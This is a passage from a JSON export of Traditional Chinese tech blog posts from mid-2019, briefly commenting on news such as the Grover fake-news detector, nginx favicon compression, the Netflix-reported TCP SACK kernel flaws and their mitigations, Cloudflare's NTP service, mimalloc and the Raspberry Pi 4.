    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的消息，是關於「使用類神經網路產生新聞」(也就是透過程式大量產生假新聞)，這次的結果包括了「產生」與「偵測」兩個面向：「<a href=\"https://news.ycombinator.com/item?id=20133844\">Grover – A State-of-the-Art Defense Against Neural Fake News (allenai.org)</a>」。\r\n\r\n實驗的網站在「<a href=\"https://grover.allenai.org/\">Grover - A State-of-the-Art Defense against Neural Fake News</a>」這邊，另外也有論文「<a href=\"https://arxiv.org/abs/1905.12616\">Defending Against Neural Fake News</a>」可以讀。\r\n\r\n幾個月前，<a href=\"https://openai.com/\">OpenAI</a> 利用類神經網路，研發出「自動寫新聞」的程式，當時他們宣稱因為效果太好，決定不完整公開成果：「<a href=\"https://openai.com/blog/better-language-models/\">Better Language Models and Their Implications</a>」，中文的報導可以參考 <a href=\"https://www.ithome.com.tw/\">iThome</a> 這篇：「<a href=\"https://www.ithome.com.tw/news/128795\">AI文字產生技術引發假新聞爭議，OpenAI決定只公開部份技術成果</a>」。\r\n\r\n而現在 <a href=\"https://allenai.org/\">The Allen Institute for Artificial Intelligence</a> 則是成功重製了 OpenAI 的成果，取名叫 Grover，發現訓練出來的模型除了可以拿來寫新聞外，也可以拿來偵測文章是不是機器產生的，而且就他們自己測試，辨識成功率還蠻高的：\r\n\r\n<blockquote>To study and detect neural fake news, we built a model named Grover. Our study presents a surprising result: the best way to detect neural fake news is to use a model that is also a generator. The generator is most familiar with its own habits, quirks, and traits, as well as those from similar AI models, especially those trained on similar data, i.e. publicly available news. Our model, Grover, is a generator that can easily spot its own generated fake news articles, as well as those generated by other AIs. In a challenging setting with limited access to neural fake news articles, Grover obtains over 92% accuracy at telling apart human-written from machine-written news. Please read our publication for more information.</blockquote>\r\n\r\n不過看起來 source code 與 model 還是沒放出來，但看起來遲早會有對應的 open source clone...\r\n\r\n我想到在攻殼電視動畫裡面的情報管制戰，雖然電視動畫裡沒有講得很詳細，但感覺這類工具就是其中一環...",
    "title": "假新聞產生器與偵測器"
  },
  {
    "id": "9049",
    "body": "看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上「<a href=\"https://news.ycombinator.com/item?id=20158386\">You probably don’t need ReCAPTCHA (kevv.net)</a>」這篇在討論 <a href=\"https://en.wikipedia.org/wiki/ReCAPTCHA\">reCAPTCHA</a> (原始文章在「<a href=\"https://kevv.net/you-probably-dont-need-recaptcha/\">You (probably) don’t need ReCAPTCHA</a>」這篇)，裡面除了認為 reCAPTCHA harmful 的觀點還 ok 外，其他的觀點我覺得都無法讓人認同...\r\n\r\n因為看到 reCAPTCHA 而想到已經用了 <a href=\"https://cleantalk.org/\">CleanTalk</a> 一陣子，效果還不錯，所以寫一篇講一下...\r\n\r\n起因是維護「<a href=\"https://fans.fictionjunction.tw/\">FJC 華語社群</a>」這個站台，這是一個使用 <a href=\"https://www.phpbb.com/\">phpBB</a> 架設的站台，為了方便，我透過 RSS + <a href=\"https://ifttt.com/\">IFTTT</a>，當論壇上有新文章時就會自動貼到 <a href=\"https://line.me/\">Line</a> 群組上面...\r\n\r\n為了避免論壇上面有 spam，我有針對註冊開 reCAPTCHA，但發現還是有不少「全人工註冊」的帳號會貼文，所以就得找更精準的服務來用... 後來在 phpBB 網站上翻到 CleanTalk 這個服務，對於在「<a href=\"https://cleantalk.org/help/install\">CleanTalk Anti-Spam Installation Manuals</a>」這頁看到支援的軟體只要 USD$8/year/site，從一月用到現在超過五個月了，就沒遇到 spam 了...\r\n\r\n機制上他會透過 client database 分析他們自己的 spam 資料庫，另外在發文時他也會分析文章內容是不是 spam，所以裝上去之後兩關都有過濾機制...\r\n\r\n類似的服務還有 <a href=\"https://akismet.com/\">Akismet</a>，不過畢竟是知名品牌，費用相較起來貴不少...",
    "title": "用 CleanTalk 擋論壇的廣告..."
  },
  {
    "id": "9050",
    "body": "從「<a href=\"https://www.ctrl.blog/entry/favicon-compression.html\">Compressed favicons are 70% smaller but 75% of them are served uncompressed</a>」這邊看到的，他們發現大約有 73.5% 的網站沒有壓縮 <code>favicon.ico</code> 檔：\r\n\r\n<blockquote>The HTTP Archive dataset of favicons from 4 million websites crawled from desktop devices on May 2019 shows that 73,5 % of all favicons are offered without any compression with an average file size of 10,5 kiB, 21,5 % are offered with Gzip compression at an average file size of 4 kiB, and 5 % offer Brotli compression at an average file size of 3 kiB.</blockquote>\r\n\r\n我自己的也沒加... 補上 gzip 相關的設定後，favicon.ico 的傳輸量從 4.2KB 降到 1.2KB。\r\n\r\n我是使用 <a href=\"https://nginx.org/\">nginx</a>，在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上 nginx 的 <code>nginx.conf</code> 內 gzip 預設已經有開，所以只要增加一些設定讓他知道要處理 ico 檔案就可以了。\r\n\r\n方法是在 <code>/etc/nginx/conf.d/gzip.conf</code> 裡面放：\r\n\r\n<pre>gzip_comp_level 9;\r\ngzip_types image/vnd.microsoft.icon image/x-icon;\r\ngzip_vary on;</pre>\r\n\r\n跟文章裡面提到的多了兩個設定，一個是 <code>gzip_comp_level</code> 改成 9 (預設是 1)，另外有 gzip 時應該要在 <code>Vary</code> 表示，避免 cache 出錯。",
    "title": "補上 nginx 對 favicon 的壓縮..."
  },
  {
    "id": "9051",
    "body": "<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 19.10 版將不再支援 i386 架構了：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-devel-announce/2019-June/001261.html\">i386 architecture will be dropped starting with eoan (Ubuntu 19.10)</a>」。\r\n\r\n查了一下 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 條目，<a href=\"https://www.amd.com/\">AMD</a> 的第一個 x86-64 版本是在 2003 年四月推出的：\r\n\r\n<blockquote>The first AMD64-based processor, the Opteron, was released in April 2003.</blockquote>\r\n\r\n<a href=\"https://www.intel.com/\">Intel</a> 則是在 2004 年六月推出：\r\n\r\n<blockquote>The first processor to implement Intel 64 was the multi-socket processor Xeon code-named Nocona in June 2004.</blockquote>\r\n\r\n但是 mobile 版的是 2006 年七月：\r\n\r\n<blockquote>The first Intel mobile processor implementing Intel 64 is the Merom version of the Core 2 processor, which was released on July 27, 2006.</blockquote>\r\n\r\n不論如何都已經十年了，如果考慮到 Ubuntu 18.04 提供五年支援，其實到 2023 年四月前都還有得用...",
    "title": "Ubuntu 19.10 要放掉 i386 架構"
  },
  {
    "id": "9052",
    "body": "看到「<a href=\"https://github.com/ottomatica/slim\">ottomatica/slim</a>」這個專案：\r\n\r\n<blockquote>slim will build a micro-vm from a Dockerfile. Slim works by building and extracting a rootfs from a Dockerfile, and then merging that filesystem with a small minimal kernel that runs in RAM.\r\n\r\nThis results in a real VM that can boot instantly, while using very limited resources. If done properly, slim can allow you to design and build immutable unikernels for running services, or build tiny and embedded development environments.</blockquote>\r\n\r\n從 screenshot 可以看到會產生 ISO Image：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0dHGOGn.webp\" /><img src=\"https://i.gslin.com/imgur/0dHGOGn.jpg\" alt=\"\" /></picture>\r\n\r\n產生的 ISO Image 可以透過 <a href=\"https://github.com/moby/hyperkit\">HyperKit</a> (在 <a href=\"https://www.apple.com/macos/\">macOS</a> 時) 或是 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 跑起來。\r\n\r\n實際用途不知道多大，算是一種嘗試？",
    "title": "把 Docker Image 轉成 VM Image"
  },
  {
    "id": "9053",
    "body": "<a href=\"https://bazqux.com/\">BazQux</a> 是個付費的 RSS/Feed Reader，用了好幾年，難得有個久違的改版...\r\n\r\n如同標題所寫的，前面兩個改變還好 (可以自己透過套件插 CSS 進去修改)，這次主要是多了 image proxy 讓使用者選擇：「<a href=\"https://blog.bazqux.com/2019/06/themes-typography-image-proxy.html\">Themes, typography and image proxy</a>」。\r\n\r\n還是先回到前面兩個改變：theme 與 font 有不少可以調整的，我是把兩個與字型大小的設定都調到最小，然後把文字寬度調到最大，其他的就看順眼就好 :o\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1IJt1WB.webp\" /><img src=\"https://i.gslin.com/imgur/1IJt1WB.jpg\" alt=\"\" /></picture>\r\n\r\n這次提供的 image proxy 對於隱私比較好，但目前的缺點是 <code>img.bazqux.com</code> 的主機在德國，有些圖檔讀起來就比直接連慢很多，這邊的 trade off 也讓使用者可以自己決定。\r\n\r\n這次提供的設定是依照 per browser 而非 per account，對我來說這樣子的設計讓我在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 與 <a href=\"https://www.apple.com/mac/\">Mac</a> 的機器上可以用不同的設定：\r\n\r\n<blockquote>All appearance settings are saved per browser.</blockquote>\r\n\r\n這次的改版頗不賴...",
    "title": "BazQux 提供 theme、font 的調整功能，與 image proxy"
  },
  {
    "id": "9054",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <code>c5</code> 系列主機推出了 <code>12xlarge</code>、<code>24xlarge</code> 以及 <code>metal</code> 三種新的類別：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-new-c5-instance-sizes-and-bare-metal-instances/\">Now Available: New C5 instance sizes and bare metal instances</a>」。\r\n\r\n本來的 <code>c5</code> 是 <code>large</code>、<code>xlarge</code>、<code>2xlarge</code>、<code>4xlarge</code> 與 <code>9xlarge</code> (這邊有一些不規則了)，現在多了 <code>12xlarge</code> 與 <code>24xlarge</code>，應該是大到需要依照硬體規格對齊數字了？\r\n\r\n另外一個是，<code>c5.24xlarge</code> 跟 <code>c5.metal</code> 其實是一樣的硬體規格 (以及價錢)，主要的差異在 <code>c5.metal</code> 沒有虛擬化，所以除了壓榨效能以外，還可以看到很多硬體資訊：\r\n\r\n<ul>\r\n\t<li>do not want to take the performance hit of nested virtualization,</li>\r\n\t<li>need access to physical resources and low-level hardware features, such as performance counters and Intel VT that are not always available or fully supported in virtualized environments,</li>\r\n\t<li>are intended to run directly on the hardware, or licensed and supported for use in non-virtualized environments.</li>\r\n</ul>",
    "title": "EC2 的 C5 系列機器推出 12x、24x 以及 metal 類別"
  },
  {
    "id": "9055",
    "body": "這幾天的 <a href=\"https://www.kernel.org/\">Linux</a> 主機都有收到 kernel 的更新，起因於 <a href=\"https://www.netflix.com/\">Netflix</a> 發現並與社群一起修正了一系列 <a href=\"https://www.kernel.org/\">Linux</a> 與 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 上 TCP 實做 <a href=\"https://en.wikipedia.org/wiki/Maximum_segment_size\">MSS</a> 與 <a href=\"https://en.wikipedia.org/wiki/SACK\">SACK</a> 的安全性問題：「<a href=\"https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md\">https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md</a>」。\r\n\r\n其中最嚴重的應該是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11477\">CVE-2019-11477</a> 這組，可以導致 Linux kernel panic，影響範圍從 2.6.29 開始的所有 kernel 版本。能夠升級的主機可以直接修正，無法升級的主機可以參考提出來的兩個 workaround：\r\n\r\n<blockquote>Workaround #1: Block connections with a low MSS using one of the supplied filters. (The values in the filters are examples. You can apply a higher or lower limit, as appropriate for your environment.) Note that these filters may break legitimate connections which rely on a low MSS. Also, note that this mitigation is only effective if TCP probing is disabled (that is, the <code>net.ipv4.tcp_mtu_probing</code> sysctl is set to 0, which appears to be the default value for that sysctl).\r\n\r\nWorkaround #2: Disable SACK processing (<code>/proc/sys/net/ipv4/tcp_sack</code> set to 0).</blockquote>\r\n\r\n第一個 workaround 是擋掉 MSS 過小的封包，但不保證就不會 kernel panic (文章裡面用語是 mitigation)。\r\n\r\n第二個 workaround 是直接關掉 SACK，這組 workaround 在有 packet loss 的情況下效能會掉的比較明顯，但看起來可以避免直接 kernel panic...",
    "title": "Netflix 找到的 TCP 實做安全性問題..."
  },
  {
    "id": "9057",
    "body": "透過 <a href=\"https://wikileaks.org/\">WikiLeaks</a> 公開出來的文件得知 <a href=\"https://www.cia.gov/\">CIA</a> 與 <a href=\"https://en.wikipedia.org/wiki/MI5\">MI5</a> 都已經有能力將後門埋入 <a href=\"https://www.samsung.com/\">Samsung</a> 的 Smart TV 內：「<a href=\"https://www.vice.com/en_us/article/8qbq5x/the-cia-spied-on-people-through-their-smart-tvs-leaked-documents-reveal\">The CIA Spied on People Through Their Smart TVs, Leaked Documents Reveal</a>」。\r\n\r\n<blockquote>Hackers at the Central Intelligence Agency, with the help of colleagues from the British spy agency MI5, developed malware to secretly spy on targets through their Samsung Smart TVs, according to new documents published by WikiLeaks.</blockquote>\r\n\r\n這個後門在 Fake-Off 模式中仍然可以繼續運作：\r\n\r\n<blockquote>The malware was designed to keep the smart TVs on even when they were turned off. This was dubbed \"Fake-Off mode,\" according to the documents.</blockquote>\r\n\r\n甚至可以控制 LED 燈，讓被監控人無法得知現在 Smart TV 其實還在運作中：\r\n\r\n<blockquote>The CIA hackers even developed a way to \"suppress\" the TVs LED indicators to improve the \"Fake-Off\" mode.</blockquote>\r\n\r\n突然想到該找時間複習 <a href=\"https://en.wikipedia.org/wiki/Nineteen_Eighty-Four\">1984</a>，裡面描述的概念現在在生活週邊愈來愈多了...",
    "title": "利用 Smart TV 監控的技術也成熟了..."
  },
  {
    "id": "9059",
    "body": "前幾天才跟人提到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的功能與完整性比 <a href=\"https://dev.mysql.com/\">MySQL</a> 多不少，剛剛又看到 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2019/06/14/bloom-indexes-in-postgresql/\">Bloom Indexes in PostgreSQL</a>」這篇，裡面提到了 PostgreSQL 可以使用 <a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom filter</a> 當作 index。\r\n\r\n查了一下資料是從 PostgreSQL 9.6 支援的 (參考「<a href=\"https://www.postgresql.org/docs/9.6/bloom.html\">PostgreSQL: Documentation: 9.6: bloom</a>」這邊的說明)，不過說明裡面沒看到 <code>DELETE</code> (以及 <code>UPDATE</code>) 會怎麼處理，因為原版的 Bloom filter 資料結構應該沒有能力處理刪除的情況...\r\n\r\n另外這幾年比較有名的應該是 <a href=\"https://en.wikipedia.org/wiki/Cuckoo_filter\">Cuckoo filter</a>，不只支援刪除，而且空間與效能都比 Bloom filter 好，不知道為什麼是實做 Bloom filter...",
    "title": "PostgreSQL 的 Bloom index"
  },
  {
    "id": "9060",
    "body": "<a href=\"https://ipfs.io/\">IPFS</a> Gateway 基本上就是個 Proxy，這次 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 直接提供 <code>*.cf-ipfs.com</code> 服務：「<a href=\"https://blog.cloudflare.com/continuing-to-improve-our-ipfs-gateway/\">Continuing to Improve our IPFS Gateway</a>」。\r\n\r\n用把 hash 放進 subdomain 的方式讓我想起當年的 <a href=\"https://en.wikipedia.org/wiki/Coral_Content_Distribution_Network\">Coral CDN</a> 計畫...\r\n\r\nAnyway，我覺得對 IPFS 的幫助還是有限，畢竟本來 IPFS 官方就有提供 Gateway，現在只是一個比較快的 Gateway，能做的功能還是那些...",
    "title": "Cloudflare 提供 IPFS 的 HTTPS Gateway"
  },
  {
    "id": "9061",
    "body": "所以 <a href=\"https://www.linode.com/\">Linode</a> 開始有 GPU Instance 產品線了：「<a href=\"https://blog.linode.com/2019/06/19/introducing-linode-gpu-instances/\">Introducing Linode GPU Instances</a>」。\r\n\r\n用的是 <a href=\"https://en.wikipedia.org/wiki/Nvidia_Quadro\">Nvidia Quadro</a> RTX 6000：\r\n\r\n<blockquote>Linode GPU instances are built on NVIDIA Quadro RTX 6000 GPU cards.</blockquote>\r\n\r\n查維基百科可以看到是 2018-08-13 推出的卡。價錢不算便宜：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9B1f7Qv.webp\" /><img src=\"https://i.gslin.com/imgur/9B1f7Qv.jpg\" alt=\"\" /></picture>\r\n\r\n去年十月的新聞可以看到 Quadro RTX 6000 的報價是 $6,300：「<a href=\"https://www.tomshardware.com/news/nvidia-quadro-rtx-6000-price-specs,37872.html\">Nvidia Lists Quadro RTX 6000 GPU at $6,300</a>」，這樣可以跟 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 那邊的規格與價錢比一下感覺...",
    "title": "Linode 推出 GPU Instance"
  },
  {
    "id": "9062",
    "body": "<a href=\"https://aws.amazon.com/certificate-manager/\">AWS ACM</a> 推出了 Private CA 服務：「<a href=\"https://aws.amazon.com/blogs/security/how-to-host-and-manage-an-entire-private-certificate-infrastructure-in-aws/\">How to host and manage an entire private certificate infrastructure in AWS</a>」。\r\n\r\n以前需要 Private CA 的話，會找個地方丟 Root CA 的 key，然後有權限的人可以連到那台機器上跑 <a href=\"https://www.openssl.org/\">OpenSSL</a> 指令生出對應的 SSL certificate，現在 AWS 則是利用 HSM 架構提供服務：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/M64UjGl.webp\" /><img src=\"https://i.gslin.com/imgur/M64UjGl.jpg\" alt=\"\" /></picture>\r\n\r\n主要是因為 HSM 的關係，安全性會比較好... 另外也因為是 AWS 服務的關係，上面可以看到相關的記錄，相較於以前的作法安全不少。",
    "title": "AWS ACM 支援 Private CA"
  },
  {
    "id": "9063",
    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 推出了 Storage Auto Scaling：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/06/rds-storage-auto-scaling/\">Amazon RDS now supports Storage Auto Scaling</a>」。\r\n\r\n看起來傳統 RDBMS 類的都支援 (也就是非 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 的這些)：\r\n\r\n<blockquote>Starting today, Amazon RDS for MariaDB, Amazon RDS for MySQL, Amazon RDS for PostgreSQL, Amazon RDS for SQL Server and Amazon RDS for Oracle support RDS Storage Auto Scaling.</blockquote>\r\n\r\n仔細看了一下新聞稿，裡面都只有提到 scale up，沒有提到 scale down，這個功能應該是只會提昇不會下降，所以要注意突然用很多空間，再砍掉後的問題：\r\n\r\n<blockquote>RDS Storage Auto Scaling automatically scales storage capacity in response to growing database workloads, with zero downtime.</blockquote>\r\n\r\n<blockquote>RDS Storage Auto Scaling continuously monitors actual storage consumption, and scales capacity up automatically when actual utilization approaches provisioned storage capacity.</blockquote>\r\n\r\n除了香港外的所有商業區域都提供：\r\n\r\n<blockquote>RDS Storage Auto Scaling is available in all commercial AWS regions except in Asia Pacific (Hong Kong) and AWS GovCloud.</blockquote>",
    "title": "RDS 支援 Storage Auto Scaling"
  },
  {
    "id": "9065",
    "body": "不是什麼魔法，其實是改產品面上的規格 (但是發表到 <a href=\"https://instagram-engineering.com/\">Instagram Engineering</a> 上)：「<a href=\"https://instagram-engineering.com/video-upload-latency-improvements-at-instagram-bcf4b4c5520a\">Video Upload Latency Improvements at Instagram</a>」。\r\n\r\n最原始的版本是所有的格式都轉完後才可以上架：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/acxjCiB.webp\" /><img src=\"https://i.gslin.com/imgur/acxjCiB.jpg\" alt=\"\" /></picture>\r\n\r\n然後把規格改成最高畫質的版本轉完後就可以先上架：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uGB2RGL.webp\" /><img src=\"https://i.gslin.com/imgur/uGB2RGL.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>The idea is, instead of blocking until all video versions are available, we can publish the video once the highest-quality video version is available.</blockquote>\r\n\r\n然後是把影片切段上傳，所以傳一半就可以先處理一半，變成 pipeline 的概念，但增加程式的複雜度，以及被迫要調整影片品質的參數：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vubtoCC.webp\" /><img src=\"https://i.gslin.com/imgur/vubtoCC.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Segmented uploads reduce upload latency in many cases but come with a few tradeoffs. For instance, segmented uploads increase the complexity of the pipeline. There are some quality metrics that are only available per segment at transcode time, such as SSIM. These metrics are not helpful to us on a per segment basis. Therefore, we need to do a duration weighted average of the SSIM of all segments to come up with the SSIM of the whole video. Similarly, handling exceptions is more complex since there are more cases to handle.</blockquote>\r\n\r\n另外有一種特例是上傳的影片本身就已經符合伺服器的規格，這樣的話可以直接放行 (不過這樣不會有 security concern 嗎...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ydHuO2Q.webp\" /><img src=\"https://i.gslin.com/imgur/ydHuO2Q.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Another performance optimization we use to improve the upload latency and save CPU utilization is something we call a “passthrough” upload. In some cases, the media that is uploaded is already ready for playback on most devices.</blockquote>\r\n\r\n都是想的出來而且會帶有 tradeoff 的方法，而不是完全正面的改善 :o",
    "title": "Instagram 改善影片上架速度的方式"
  },
  {
    "id": "9066",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 提供的 NTP service，使用 <code>time.cloudflare.com</code>：「<a href=\"https://blog.cloudflare.com/secure-time/\">Introducing time.cloudflare.com</a>」。\r\n\r\n官方是號稱所有的機房 (應該就包括台北的點)：\r\n\r\n<blockquote>Now, anyone can get time securely from all our datacenters in 180 cities around the world.</blockquote>\r\n\r\n但在 <a href=\"https://www.hinet.net/\">HiNet</a> 下測試可以看到是從東京的點服務：\r\n\r\n<small><pre>  2.|-- snuh-3302.hinet.net        0.0%    10    9.5  10.5   9.5  12.7   0.8\r\n  3.|-- tpdt-3022.hinet.net        0.0%    10   11.1  10.8  10.1  11.8   0.3\r\n  4.|-- r4103-s2.tp.hinet.net      0.0%    10   27.2  11.9   9.3  27.2   5.4\r\n  5.|-- r4003-s2.tp.hinet.net      0.0%    10   11.3  10.7   9.5  11.6   0.3\r\n  6.|-- xe-0-0-0-3-6.r02.osakjp02  0.0%    10   47.9  48.7  47.6  49.9   0.6\r\n  7.|-- ae-2.a00.osakjp02.jp.bb.g  0.0%    10   44.9  47.3  42.8  66.4   6.9\r\n  8.|-- ae-20.r03.osakjp02.jp.bb.  0.0%    10   43.7  43.2  42.5  44.7   0.3\r\n  9.|-- 61.120.144.46              0.0%    10   69.6  52.4  48.0  69.6   6.8\r\n 10.|-- 162.159.200.123            0.0%    10   48.3  48.8  47.9  49.3   0.0</pre></small>\r\n\r\n如果從 APOL (有線電視) 的點則是透過台灣的機房連線：\r\n\r\n<small><pre>  3.|-- 10.251.11.6                0.0%    10   19.8  29.6  11.1  80.2  21.7\r\n  4.|-- 10.251.231.5               0.0%    10   25.3  24.9  16.4  43.6   8.0\r\n  5.|-- 10.251.231.1               0.0%    10    8.7   6.3   3.4   9.1   1.9\r\n  6.|-- 10.251.230.34              0.0%    10    4.6   7.4   2.6  14.5   3.2\r\n  7.|-- 10.251.230.29              0.0%    10    3.0   6.6   3.0  11.9   2.8\r\n  8.|-- 202-178-245-162.cm.static  0.0%    10    4.8   7.3   4.8   9.9   1.4\r\n  9.|-- 192.168.100.14             0.0%    10    7.3   8.0   5.4  11.1   2.0\r\n 10.|-- 192.168.100.9              0.0%    10    8.2   8.0   4.9  11.1   1.7\r\n 11.|-- 203-79-250-65.static.apol  0.0%    10    9.1   9.0   6.4  11.3   1.5\r\n 12.|-- 211.76.96.92               0.0%    10    7.8   8.1   4.3  15.8   3.3\r\n 13.|-- 39-222-163-203-static.tpi  0.0%    10    9.9   9.1   6.7  12.4   1.8\r\n 14.|-- 162.159.200.1              0.0%    10    5.0   7.2   5.0   9.7   1.4</pre></small>\r\n\r\n看起來又是有東西沒搞定了...",
    "title": "Cloudflare 弄了 time.cloudflare.com，不過 latency 沒有很好..."
  },
  {
    "id": "9067",
    "body": "「<a href=\"https://youglish.com/\">Improve your English pronunciation using Youtube</a>」這個服務利用 <a href=\"https://www.youtube.com/\">YouTube</a> 上的影片與字幕提供界面，讓你可以知道現實世界的人怎麼發音的查詢系統。\r\n\r\n系統本身不難做，主要是去撈大量資料，然後建立 search engine 提供，idea 與執行才是這個服務的賣點。\r\n\r\n拿到後第一個想到的就是，一定要拿來查一下「<a href=\"https://youglish.com/search/IKEA/all?\">IKEA</a>」怎麼唸 XDDD\r\n\r\n除了英文以外還可以查其他語言，包括中文...",
    "title": "用 YouTube 上的影片查發音"
  },
  {
    "id": "9068",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=20249743\">Mimalloc – A compact general purpose allocator with excellent performance (github.com)</a>」，專案網站在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/microsoft/mimalloc\">mimalloc is a compact general purpose allocator with excellent performance.</a>」。\r\n\r\n現代伺服器軟體比較常用的應該是 <a href=\"https://en.wikipedia.org/wiki/jemalloc\">jemalloc</a>，許多軟體也直接把 jemalloc 包進去 (像是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>)，所以各種測試主要就是看與 jemalloc 的差異。\r\n\r\n測試的機器有點怪，既然都是在 <a href=\"https://aws.amazon.com/\">AWS</a> 上測試，卻不是選目前主流的 <a href=\"https://www.intel.com/\">Intel</a>，而且就算是 <a href=\"https://www.amd.com/\">AMD</a> 也不是選最大台的 <code>r5a.24xlarge</code> (都是在去年 2018 年十一月發表的)：\r\n\r\n<blockquote>Testing on a big Amazon EC2 instance (r5a.4xlarge) consisting of a 16-core AMD EPYC 7000 at 2.5GHz with 128GB ECC memory, running\tUbuntu 18.04.1 with LibC 2.27 and GCC 7.3.0.</blockquote>\r\n\r\n尋著留言有看到 <a href=\"https://github.com/daanx/mimalloc-bench\">daanx/mimalloc-bench</a> 這邊有使用 Intel 平台的測試，也有類似的結果，所以應該是還 ok...\r\n\r\nAnyway，依據目前官方給的的效能測試，看起來頗不賴：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HNDRwrY.webp\" /><img src=\"https://i.gslin.com/imgur/HNDRwrY.jpg\" alt=\"\" /></picture>\r\n\r\n而且實際的記憶體用量也比以前少，這邊在看資料時官方有附註，有些測試在這邊因為執行方式所以不會準：\r\n\r\n<blockquote>(note: the xmalloc-testN memory usage should be disregarded is it allocates more the faster the program runs).</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tc5ImRR.webp\" /><img src=\"https://i.gslin.com/imgur/tc5ImRR.jpg\" alt=\"\" /></picture>\r\n\r\n至於實際上是不是真的在 general purpose 都可以提昇效能，應該會等著比較大的社群玩看看... 尤其是 <a href=\"https://www.percona.com/\">Percona</a> 對只要換個 library 就能提昇效能的東西，他們基本上都不會放棄嘗試...",
    "title": "Microsoft 釋出一個效能極佳的 Malloc Library"
  },
  {
    "id": "9069",
    "body": "<a href=\"https://www.raspberrypi.org/products/raspberry-pi-4-model-b/\">Raspberry Pi 4</a> 開賣，目前推出的是 Model B，最低規格的 1GB RAM 版本與之前 RPi 3 相同都是 USD$35，另外這次提供了以前沒有的 2GB 與 4GB 版本，分別是 USD$45 與 USD$55：「<a href=\"https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/\">Raspberry Pi 4 on sale now from $35</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pdjjREJ.webp\" /><img src=\"https://i.gslin.com/imgur/pdjjREJ.jpg\" alt=\"\" /></picture>\r\n\r\n有兩個比較大而且要注意的改變，第一個是電源接頭變成 Type-C 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GTeoCEr.webp\" /><img src=\"https://i.gslin.com/imgur/GTeoCEr.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>We’ve moved from USB micro-B to USB-C for our power connector. This supports an extra 500mA of current, ensuring we have a full 1.2A for downstream USB devices, even under heavy CPU load.</blockquote>\r\n\r\n另外一個是 HDMI 接頭換成 D Type：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/U7EyrM1.webp\" /><img src=\"https://i.gslin.com/imgur/U7EyrM1.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>To accommodate dual display output within the existing board footprint, we’ve replaced the type-A (full-size) HDMI connector with a pair of type-D (micro) HDMI connectors.</blockquote>\r\n\r\n這兩個改變都需要準備額外的設備或是線材，其他的改變應該還好...\r\n\r\n這次改版最明顯的是效能的增加，官方宣稱 CPU 速度是前一代的三倍：\r\n\r\n<blockquote>A 1.5GHz quad-core 64-bit ARM Cortex-A72 CPU (~3× performance)</blockquote>\r\n\r\n而在 GPU 相關的則是對 H.265 的 4Kp60 硬體解壓縮：\r\n\r\n<blockquote>4Kp60 hardware decode of HEVC video</blockquote>\r\n\r\n先前用 RPi 3 放客廳還是覺得不太夠，也許可以考慮看看這個...",
    "title": "Raspberry Pi 4 開賣，USD$35"
  },
  {
    "id": "9071",
